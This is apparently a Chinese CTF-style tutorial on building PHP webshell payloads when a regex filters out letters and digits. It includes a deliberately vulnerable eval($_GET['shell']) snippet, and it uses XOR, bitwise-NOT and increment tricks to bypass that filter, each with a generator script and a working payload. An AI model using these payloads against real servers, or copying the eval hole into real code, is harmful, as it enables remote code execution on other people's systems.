前言
当字母和数字都被过滤时怎样构造webshell呢?具体代码如下
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
首先,思路就是通过非字母数字的字符经过各种变换构造出任意字母,然后拼接出函数执行
异或
- 原理
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,再对二进制数据进行异或,再转为ASCII,最后转为字符串
- 用法
那么怎么样知道一个字符是怎么样异或出来的呢?
可以将字符转ASCII再转二进制然后手动异或后查找,但是这个办法显然效率太低了
我们可以在本地实验
因为字符的异或是一一对应的,即异或前的字符和异或后的字符是可以调换位置的
<?php
echo ('a'^'<')."<br/>";
echo ('<'^'a')."<br/>";
echo (']'^'a')."<br/>";
echo (']'^'<')."<br/>";
利用这个原理就能很快的构造webshell
你需要得到的字符
^任意字符
=结果
===>结果
^与之前相同的任意字符
=你需要的字符
- 脚本
<?php
$s = $_GET['s'];
$s1 = '';
$s2 = '';
$s3 = '';
if(isset($_GET['s'])){
$s1 = $s;
$i = '32';
while(1){
$s2 = hex2bin(dechex($i));
$s3 = $s1 ^ $s2;
$j = hexdec(bin2hex($s3));
if (!(($i >= 48 && $i <= 57) || ($i >= 65 && $i <= 90) || ($i >= 97 && $i <= 122))) {
if (!(($j >= 48 && $j <= 57) || ($j >= 65 && $j <= 90) || ($j >= 97 && $j <= 122))) {
echo $s1.'^'.$s2.'='.$s3;
die();
}else{
$i++;
}
}else{
$i++;
}
}
}else{
highlight_file(__FILE__);
}
- 测试
phpinfo ==异或==> (’+’^’[’).(’(’^’@’).(’+’^’[’).(’)’^’@’).(’.’^ ‘@’).(’&’^’ @’).(’/’^’@’)
payload:url/?shell=$_=( ‘+’ ^ ‘[’ ).( ‘(’ ^ ‘@’ ).( ‘+’ ^ ‘[’ ).( ‘)’ ^ ‘@’ ).( ‘.’ ^ ‘@’ ).( ‘&’ ^ ‘@’ ).( ‘/’ ^ '@ ');$_();
要编码后传值,因为+会被转成空格
取反
-
原理
字符串 --> ASCII码 --> 二进制 ===取反===> ASCII码 --> 字符串
-
用法
echo urlencode(~'phpinfo'); ====> %8F%97%8F%96%91%99%90
- 测试
echo urlencode(~'phpinfo'); ===> %8F%97%8F%96%91%99%90
payload:(~%8F%97%8F%96%91%99%90)();
成功执行
自增
如果连^
和~
都被ban了怎么办?
- 原理
利用PHP中的递增/递减运算符,也就是说'a'++ => 'b'
,那么理论上只要能构造出任意字母即可执行命令
在php中,强制输出数组时,数组将被转换成字符串Array
,那么就可以拿到A了
- 用法
- 强制输出数组
转换为字符串后拿到A
<?php
$_ = [];
echo $_;
$_ = '$_';
echo $_;
$_ = $_['!'=='@'];
echo $_;
- 输出无穷大
- 脚本
<?php
$_ = [];
$_ = "$_";
$_ = $_['!'=='@'];
$__ = $_;//$__==A
if(isset($_GET['a'])){
$a = $_GET['a'];
$a = strtoupper($a);
echo '$__=$_;';
while(1){
if($a == $__){
die();
}else{
echo '$__++;';
$__++;
}
}
}else{
highlight_file(__FILE__);
}
- 测试
payload
$_=[];
$_="$_";
$_=$_['!'=='@'];
$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;//P
$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;//H
$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;//P
$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;//I
$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;//N
$__ = $_;$__++;$__++;$__++;$__++;$__++;$___.=$__;//F
$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;//O
$___();//PHPINFO();